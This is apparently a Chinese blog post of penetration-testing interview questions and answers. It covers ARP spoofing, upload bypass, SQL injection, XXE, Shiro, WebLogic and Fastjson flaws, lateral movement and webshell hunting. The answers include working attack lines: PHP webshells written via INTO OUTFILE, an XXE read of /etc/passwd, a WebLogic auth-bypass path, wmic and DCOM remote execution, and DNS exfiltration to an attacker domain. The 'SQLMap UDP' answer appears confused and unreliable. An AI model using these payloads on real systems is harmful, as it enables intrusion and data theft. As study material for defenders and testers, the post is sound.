网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
2025年渗透测试面试题总结-拷打题库26
ARP攻击原理,防御方法 php的站限制了任何php文件上传,如何上传php文件? sqlmap udp提权原理? 你是如何做应急响应的呢?查询webshell 挖了哪些洞,怎么挖的 GPC是什么?开启了怎么绕过 如果你是一个安全攻防负责人,如何做好安全架构,整理防御黑客攻击? 如何bypass CDN linux被上传了webshell如何查杀? SQL注入写shell的条件,用法 xml注入和xxe的区别 打点一般会用什么漏洞 平常怎么去发现shiro漏洞的 shiro有几种漏洞类型 weblogic权限绕过有没有了解 fastjson漏洞利用原理 weblogic有几种漏洞 IIOP听说过吗,和什么类似 dns出网协议怎么利用 横向渗透命令执行手段 psexec和wmic或者其他的区别 Dcom怎么操作? 域内攻击方法有了解过吗 include、include_once、require、?require_once区别? 全局变量和超全局变量的区别 SQL注入原理 SQL注入分类 SQL注入防御 XSS的区别 CSRF成功利用的条件
1. ARP攻击原理与防御方法
原理:
- ARP协议缺陷:ARP协议无身份验证机制,攻击者伪造IP-MAC映射(如发送虚假ARP响应包),劫持通信流量。
- 中间人攻击:通过ARP欺骗将自身伪装成网关,截获用户与网关之间的数据。
- 泛洪攻击:发送大量虚假ARP报文,耗尽交换机MAC表资源,导致网络瘫痪。
防御方法:
- 静态ARP绑定:在关键设备(如网关)上配置静态IP-MAC映射,防止动态更新。
- DHCP Snooping:交换机记录合法DHCP分配的IP-MAC信息,过滤非法ARP包。
- ARP防火墙:部署软件工具(如ARPWatch)实时监控并阻断异常ARP请求。
2. PHP站限制上传PHP文件的绕过方法
- 文件类型混淆:
- 修改文件扩展名为
.phtml
、.php5
,利用服务器解析漏洞。- 上传
.htaccess
文件,添加AddType application/x-httpd-php .jpg
强制将图片解析为PHP。- 内容混淆:
- 插入图片头
GIF89a
伪装为图片,后端检测绕过。- 使用短标签
<?=
或<script language="php">
绕过PHP标签过滤。- 二次渲染绕过:
- 上传图片马,利用文件包含漏洞(如
include($_GET['file']);
)包含触发代码。
3. SQLMap UDP提权原理
- UDP服务漏洞利用:针对数据库所在服务器的UDP服务(如DNS、SNMP),通过SQL注入写入恶意代码到配置文件。
- Payload注入:利用
os-shell
功能上传提权脚本,通过UDP协议与外部C2服务器通信。- 权限升级:结合数据库的高权限账户(如
root
),执行系统命令启动UDP反向Shell。
4. 应急响应中Webshell查杀步骤
- 隔离与备份:
- 立即断网,镜像磁盘数据,避免破坏现场。
- 使用
df
和mount
检查可疑挂载点。- 文件排查:
- 通过
find /var/www -name "*.php" -mtime -3
查找近期修改的PHP文件。- 使用
stat
检查文件时间戳,对比正常文件创建时间。- 日志分析:
- 分析Apache/Nginx日志(如
access.log
),定位异常IP和请求路径(如/uploads/cmd.php?cmd=id
)。- 使用
grep
搜索eval
、system
等危险函数调用记录。
5. 漏洞挖掘方法与案例
- 黑盒测试:
- SQL注入:输入
'
或1=1
触发数据库报错。- 未授权访问:直接访问
/admin
目录,绕过登录验证。- 白盒审计:
- 检查代码中的
exec()
、system()
函数,挖掘命令注入。- 跟踪用户输入(如
$_GET['id']
),分析是否未过滤直接拼接SQL。- 逻辑漏洞:
- 越权操作:修改请求参数(如
userID=100→101
)访问他人数据。- 支付漏洞:重复提交订单或篡改金额参数(如
price=0.01
)。
6. GPC绕过方法
- 宽字节注入:利用数据库字符集(如GBK),构造
%df%27
绕过转义(%df
与转义符\
合并为合法字符)。- 二次注入:将恶意代码存入数据库(如注册用户名
admin'--
),后续查询时触发。- 编码绕过:
- 使用
HEX
或Base64
编码(如0x...
代替字符串)。- JSON格式注入:
{"id":"1' or 1=1--"}
绕过addslashes
。
7. 安全架构设计要点
- 分层防御:
- 网络层:部署WAF、IDS/IPS过滤恶意流量。
- 主机层:启用HIDS(主机入侵检测系统)监控进程行为。
- 零信任模型:
- 最小权限原则:每个服务仅授予必要权限(如数据库只读账户)。
- 持续验证:多因素认证(MFA)和动态令牌。
- 威胁情报整合:
- 对接外部威胁情报平台(如AlienVault),实时更新攻击特征。
- 定期红蓝对抗演练,验证防御体系有效性。
8. CDN绕过方法
- 历史记录查询:
- 通过SecurityTrails或DNSDB查找域名解析历史,获取真实IP。
- 子域名探测:
- 使用
subfinder
扫描子域名(如api.example.com
可能直连后端)。- 协议漏洞利用:
- 利用邮件服务器、SSH服务的Banner信息暴露真实IP。
- 通过HTTPS证书透明度日志(如crt.sh )查找关联IP。
9. Linux查杀Webshell
- 文件扫描:
- 使用
find / -type f -name "*.php" -exec grep -l 'eval' {} \;
搜索含危险函数的文件。- 通过
clamscan -r /var/www
调用杀毒引擎检测已知Webshell。- 进程排查:
netstat -antp
查看异常外联IP,定位恶意进程PID。lsof -p PID
检查进程打开的文件和网络连接。- Rootkit检测:
- 使用
chkrootkit
检查系统二进制文件是否被替换。- 对比
ls
和ls -al
的输出,排查隐藏文件。
10. SQL注入写Shell条件与用法
条件:
- 数据库用户具备
FILE
权限(SELECT File_priv FROM mysql.user
)。- 知道Web目录绝对路径(通过报错或
@@datadir
推断)。- 魔术引号关闭(
magic_quotes_gpc=Off
)。用法:
- 直接写入:
sql
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/shell.php';
- 日志文件写入:
sql
SET global general_log_file='/var/www/shell.php'; SET global general_log=on; SELECT '<?php eval($_POST["c"]);?>';
11. XML注入与XXE区别
- XML注入:
- 目标:篡改XML数据结构(如修改价格参数)。
- 案例:
<price>100</price>
→<price>1</price>
。- XXE(XML外部实体注入):
- 目标:读取本地文件或触发SSRF。
- Payload:
xml
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <data>&xxe;</data>
12. 常见打点漏洞
- RCE(远程代码执行):如Struts2、Log4j漏洞。
- SQL注入:通过未过滤的用户输入渗透数据库。
- 未授权访问:Redis、Elasticsearch未配置认证直接暴露。
13. Shiro漏洞发现方法
- 特征识别:
- 检查Cookie中是否存在
rememberMe
字段。- 使用Burp插件(如ShiroExploit)检测默认密钥。
- 反序列化检测:
- 发送恶意序列化数据触发DNS或HTTP请求。
- 历史漏洞利用:
- 测试CVE-2020-1957(权限绕过)、CVE-2016-4437(反序列化)。
14. Shiro漏洞类型
- 反序列化漏洞:硬编码密钥导致攻击者伪造Cookie。
- 权限绕过:URL路径匹配缺陷(如
/admin/../bypass
)。- Session固定攻击:未随机化SessionID,导致劫持用户会话。
15. Weblogic权限绕过案例
- CVE-2020-14882:
- 访问
/console/css/%252e%252e%252fconsole.portal
绕过认证。- CVE-2021-2109:
- 通过IIOP协议发送恶意请求,未授权执行命令。
- 管理接口暴露:未限制
/console
端口的公网访问。
16. Fastjson漏洞原理
- 反序列化机制:
@type
属性指定恶意类触发JNDI注入。- 利用链构造:
- 攻击者搭建RMI服务,诱导Fastjson加载远程类。
- 修复方案:升级至1.2.68+并开启
safeMode
。
17. Weblogic漏洞类型
- 反序列化:T3、IIOP协议漏洞(如CVE-2018-2628)。
- XXE:XML解析器未禁用外部实体(如CVE-2019-2615)。
- SSRF:通过UDDI组件访问内网服务(如CVE-2014-4210)。
18. IIOP协议与类似技术
- IIOP(Internet Inter-ORB Protocol):用于CORBA分布式对象通信,类似Java RMI。
- 攻击面:反序列化漏洞(如Weblogic IIOP协议漏洞)。
- 防御:禁用不必要的IIOP端口(默认7001)。
19. DNS出网协议利用
- 数据外传:通过DNS查询泄露数据(如
data.attacker.com
)。- C2通信:使用DNS隧道工具(如DNSCat2)建立隐蔽信道。
- 检测绕过:利用合法DNS服务(如Cloudflare)混淆流量。
20. 横向渗透命令执行手段
- PsExec:
- 需要管理员权限,通过SMB上传服务二进制文件并执行。
- WMI:
- 无文件攻击,执行命令:
wmic /node:target process call create "cmd.exe /c whoami"
。- WinRM:
- 通过HTTP/S协议执行远程命令(需5985/5986端口开放)。
21. PsExec与WMIC的区别
- 权限要求:PsExec需管理员凭据;WMIC依赖DCOM权限。
- 日志记录:PsExec会创建服务,日志明显;WMIC隐蔽性更高。
- 传输方式:PsExec通过SMB上传文件;WMIC无文件落地。
22. DCOM利用方法
- MMC20.Application:
powershell
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","target")) $com.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c whoami","Minimized")
- ShellWindows:通过COM对象
Shell.Application
执行命令。- ExcelDDE:利用DDE协议启动进程。
23. 域内攻击方法
- Pass-the-Hash:利用NTLM哈希横向移动,无需明文密码。
- 黄金票据:伪造TGT访问任意服务。
- DCSync:模拟域控同步用户哈希(需
GetChangesAll
权限)。
24. PHP包含函数区别
- include与require:
include
失败仅警告,继续执行;require
失败终止脚本。- 包含次数:
*_once
避免重复包含,检查文件是否已加载。
25. 全局变量与超全局变量
- 全局变量:需在函数内通过
global
声明(如$GLOBALS
)。- 超全局变量:自动全局生效(如
$_GET
、$_POST
)。
26. SQL注入原理与防御
原理:用户输入拼接到SQL语句,破坏原有逻辑。 分类:
- 联合查询:
UNION SELECT
提取数据。- 布尔盲注:通过页面真假状态推断数据。
- 堆叠查询:执行多条语句(如
; DROP TABLE users
)。防御:
- 预处理语句:使用PDO或MySQLi的参数化查询。
- 输入过滤:正则表达式限制输入格式(如
/^\d+$/
)。- 最小权限:数据库账户仅授予必要权限。
27. XSS类型区别
- 存储型:恶意脚本持久化到数据库。
- 反射型:通过URL参数即时触发。
- DOM型:前端JavaScript动态操作DOM导致执行。
28. CSRF利用条件
- 会话保持:用户已登录且Cookie未过期。
- 诱骗触发:诱导点击恶意链接或访问攻击页面。
- 无Token验证:请求未校验CSRF Token或Referer。